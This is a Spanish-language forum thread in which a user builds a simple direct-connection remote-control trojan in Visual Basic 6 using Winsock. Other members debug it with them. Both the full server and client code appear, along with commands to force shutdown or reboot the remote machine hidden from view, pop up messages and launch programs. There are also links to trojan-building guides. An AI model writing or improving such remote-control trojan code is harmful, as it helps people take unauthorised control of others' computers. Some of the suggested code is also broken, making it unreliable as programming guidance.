Buenas, estoy creandome un pequeño troyano de conexion directa para familiarizarme con el winsock, el codigo del server es el siguiente:
Private Sub Form_Load()
Escuchar
End Sub
Private Sub Escuchar()
Ws.Listen ' Escucha en x puerto
WAClase = "VBE"
End Sub
Private Sub Ws_ConnectionRequest(ByVal RequestID As Long)
Ws.Close
Ws.Accept RequestID 'acepta conexiones
End Sub
Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
Ws.GetData datos ' datos recibidos a la variable datos
txtDatos.Text = datos
End Sub
Private Sub txtDatos_Change()
If txtDatos.Text = "apa" Then
Shell ("cmd.exe /c shutdown -s -t 1")
End If
If txtDatos.Text = "rei" Then
Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
End If
If txtDatos.Text = "mensaje" Then
MsgBox ("X mensaje ")
End If
End Sub
Pues bien, el cliente conecta bien con el servidor, al darle la orden para el MsgBox ("X mensaje") el mensaje sale correctamente , pero vuelvo a darle la misma orden y el servidor me ignora totalmente, desconecto desde el cliente y intento volver a conectar y no encuentra el servidor, e mirado en procesos y el servidor sigue ejecutandose asi que no lo entiendo, se supone que el winsock deberia seguir a la escucha i aceptar conexiones entrantes no? como es possible que el servidor siga ejecutandose pero no reciba ordenes del cliente :S
Es como si el servidor solo aceptase una orden y despues dejase de escuchar.
Gracias de antemano
salu2
Citarse supone que el winsock deberia seguir a la escucha i aceptar conexiones entrantes no? como es possible que el servidor siga ejecutandose pero no reciba ordenes del cliente :S
Porque el servidor llama al procedimiento Escuchar solo en el load del form1.
Entonces cuando se cierra la conexion, tendrias que ponerle que lo llame de vuelta. Eso seria en el evento Error y Close del winsock.
lo uqe yo hago es poner un timer i si el ws.state no es = a 7 entonces esuche
edito:emves de hacer lo que haces para el mensaje ocupa esto:
If Left(datos, 3) = "msg" Then
datos = Right(datos, Len(datos) - 3)
msgbox (datos)
End If
end sub
entonces pones una textbox en el cliente ai escribes el mensaje i al apretar el boton emviar mensaje haga esto
ws.senddata "msg"&txtmsg.text
toma un post que hice con cosas para los troyanos
http://invisiblehack.mforos.com/1109918/6704001-codes-para-ponerles-a-los-troyanos-que-uds-hagan/?marcar=krackwar (http://invisiblehack.mforos.com/1109918/6704001-codes-para-ponerles-a-los-troyanos-que-uds-hagan/?marcar=krackwar)
Si, lo que pasa es que con un timer saturas mas la computadora. Imaginate que cada un segundo (o el tiempo que tu elijas) el servidor estara preguntando lo mismo, muchas veces inutilmente. Con los estados del Winsock por ahi es mas...profesional. Pero en tu caso, con una aplicacion "sencilla" como esta ni se notara.
sise que ocupa mas ram pero como dices si el server es como lo escribes haca ni se nota la diferencia
gracias a los 2, ahora cuando llegue a clase probare con el timer y me mirare el post, luego os cuento,
salu2
Edito:
Buenas, e añadido el timer con interval 3000 y lo e puesto tal como haveis dicho o eso creo xD
Private Sub TimerEsuchar_Timer()
Escuchar
End Sub
Private Sub Escuchar()
Ws.Listen ' Escucha en x puerto
WAClase = "VBE"
End Sub
Private Sub Ws_ConnectionRequest(ByVal RequestID As Long)
Ws.Close
Ws.Accept RequestID 'acepta conexiones
End Sub
Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
Ws.GetData datos ' datos recibidos a la variable datos
txtDatos.Text = datos
End Sub
Private Sub txtDatos_Change()
If txtDatos.Text = "apa" Then
Shell ("cmd.exe /c shutdown -s -t 1")
End If
If txtDatos.Text = "rei" Then
Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
End If
If Left(datos, 3) = "msg" Then 'Si los 3 caracteres de la izquierda son = a msg
datos = Right(datos, Len(datos) - 3) 'Datos sera = empezando por la derecha todos los caracteres - 3 (msg)
MsgBox (datos)
End If
End Sub
Cuando pasan los 3 segundos me marca el siguiente Error:
Error '10037' en tiempo de ejecucion:
The operation is completed. No blocking operation is in progress.
Me señala la linea Ws.Listen ' Escucha en x puerto
Cita de: Littlehack en 5 Marzo 2008, 07:52 AM
Cuando pasan los 3 segundos me marca el siguiente Error:
Error '10037' en tiempo de ejecucion:
The operation is completed. No blocking operation is in progress.
Me señala la linea Ws.Listen ' Escucha en x puerto
Prueba a usar comprobación de estado antes de la linea donde te marca el error:
'Si el socket no esta conectado ni en escucha entonces...
If Ws.State <> 2 And Ws.State <> 7 Then
Aunque no te recomendaria lo del Timer, deberías hacer lo que dice juancho77 despues de que la conexión se cierre
Cita de: juancho77 en 5 Marzo 2008, 02:21 AMtendrias que ponerle que lo llame de vuelta. Eso seria en el evento Error y Close del winsock.
Private Sub Timer1_Timer()
If Winsock1.State <> 2 & Winsock1.State <> 7 Then
Winsock1.Close ' acordate siempre de cerrarlo
Winsock1.Listen
End If
If Winsock1.State = sckConnected Then
Label1.Caption = "conectado"
End If
End Sub
Te faltaba el winsock1.close. O sea, pone lo que dice casiani y si el socket no esta ni conectado ni escuchando entonces Winsock1.Close y lo que vos quieras. Ahi deberia andar.
:xD :xD :xD :xD estoi mal hacustumbrado con los timer :xD :xD :xD :xD
yo? que? ah??!
no me mal acostumbreis ami tambien!! jaj
Bueno e seguido vuestros consejos y quitado el timer, lo e puesto a escuchar en el evento close y error del WS
Private Sub Form_Load()
Escuchar
End Sub
Private Sub Escuchar()
If Ws.State <> 2 & Ws.State <> 7 Then
Ws.Close
Ws.Listen
End If
End Sub
Private Sub Ws_ConnectionRequest(ByVal RequestID As Long)
Ws.Close
Ws.Accept RequestID 'acepta conexiones
End Sub
Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
Ws.GetData datos ' datos recibidos a la variable datos
txtDatos.Text = datos
End Sub
Private Sub txtDatos_Change()
If txtDatos.Text = "apa" Then
Shell ("cmd.exe /c shutdown -s -t 1")
End If
If txtDatos.Text = "rei" Then
Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
End If
If Left(datos, 3) = "msg" Then 'Si los 3 caracteres de la izquierda son = a msg
datos = Right(datos, Len(datos) - 3) 'Datos sera = empezando por la derecha todos los caracteres - 3 (msg)
MsgBox (datos)
End If
If txtDatos.Text = "paint" Then
Shell ("mspaint")
End If
Escuchar
End Sub
Private Sub Ws_Close()
Escuchar
End Sub
Private Sub Ws_Error(ByVal Number As Integer, _
Description As String, _
ByVal Scode As Long, _
ByVal Source As String, _
ByVal HelpFile As String, _
ByVal HelpContext As Long, _
CancelDisplay As Boolean)
Escuchar
End Sub
Bueno, ahora me tira error en el cliente, solo me deja mandarle una orden... por ejemplo yo le mando que arranque el paint y lo abre, pero si vuelvo a mandarselo me dice que no esta conectado al servidor, asi que vuelvo abrir el cliente, conecto bien con el servidor, pero esta vez al darle la orden para que arranque el paint no me tira error de conexion... simplemente me ignora...
Dudo muchisimo que sea del cliente pero bueno os dejo el codigo por si las moscas....
Private Sub cmdConectar_Click()
Ws.Close
Ws.RemoteHost = txtIP.Text
Ws.RemotePort = 8721
Ws.Connect
End Sub
Private Sub cmdDesconectar_Click()
Ws.Close
If Ws.State <> sckConnected Then
lblEstado.Caption = "Desconectado"
End If
End Sub
Private Sub ws_connect()
If Ws.State = sckConnected Then
lblEstado.Caption = "Conectado"
End If
End Sub
Private Sub cmdApagar_Click()
Ws.SendData "apa"
End Sub
Private Sub cmdReiniciar_Click()
Ws.SendData "rei"
End Sub
Private Sub cmdMsg_Click()
Ws.SendData "msg" & txtMsg.Text
End Sub
Private Sub cmdpaint_Click()
Ws.SendData "paint"
End Sub
Por cierto krackwar, gracias por el codigo habia estado pensando como hacerlo yo, lo que pasa es que no me manejo bien con el Right, left, len... nunca lo habia utilizado, de momento el codigo no me a funcionado... cuando le doy la orden me ignora... pero claro puede que no sea problema del codigo del msgbox si no del servidor... :S
y por ultimo una cosa mas, para el evento error del WS detras va toda una parrafda que me gustaria saber que es... porque e copiado el codigo por ay pero no se que significa :S, me refiero a esto:
(ByVal Number As Integer, _
Description As String, _
ByVal Scode As Long, _
ByVal Source As String, _
ByVal HelpFile As String, _
ByVal HelpContext As Long, _
CancelDisplay As Boolean)
Gracias de nuevo
salu2
por que pones escuchar si quieres escuchar pones ws.listen
edito :lee eel manual de xenon me ayudo muucho en mi primer troyano
http://foro.elhacker.net/index.php/topic,57545.0.html (http://foro.elhacker.net/index.php/topic,57545.0.html)
llamo a
Private Sub Escuchar()
If Ws.State <> 2 & Ws.State <> 7 Then
Ws.Close
Ws.Listen
End If
End Sub
no esta bien?
Ya lo e solucionado!!
El problema era que las ordenes funcionavan cuando el evento change del textbox, por lo tanto si le enviava la misma cadena no accionava.... xD, tengo que hacer que despues de cada accion se borre el textbox ^^
y el msgbox era porque mi variable datos no estaba declarada en declaraciones ;P
gracias por todo
Para evitar usar el Change de la caja de texto puedes usar un Case select en el data arrival del socket. Asi:
Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
ws.GetData datos ' datos recibidos a la variable datos
Select case datos
Case apa
Shell ("cmd.exe /c shutdown -s -t 1")
Case rei
Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
Case Left(datos, 3) = "msg"
datos = Right(datos, Len(datos) - 3)
MsgBox (datos)
Case paint
Shell ("mspaint")
End select
Cita de: krackwar en 6 Marzo 2008, 02:24 AM
por que pones escuchar si quieres escuchar pones ws.listen
edito :lee eel manual de xenon me ayudo muucho en mi primer troyano
http://foro.elhacker.net/index.php/topic,57545.0.html (http://foro.elhacker.net/index.php/topic,57545.0.html)
Gracias krackwar ya lo habia leido, fue leiendo ese manual cuando me decidi por empezar a indagar un poco en el tema :P
y gracias juancho probare con el case aunque ya habia solucionado el problema de otra manera ;P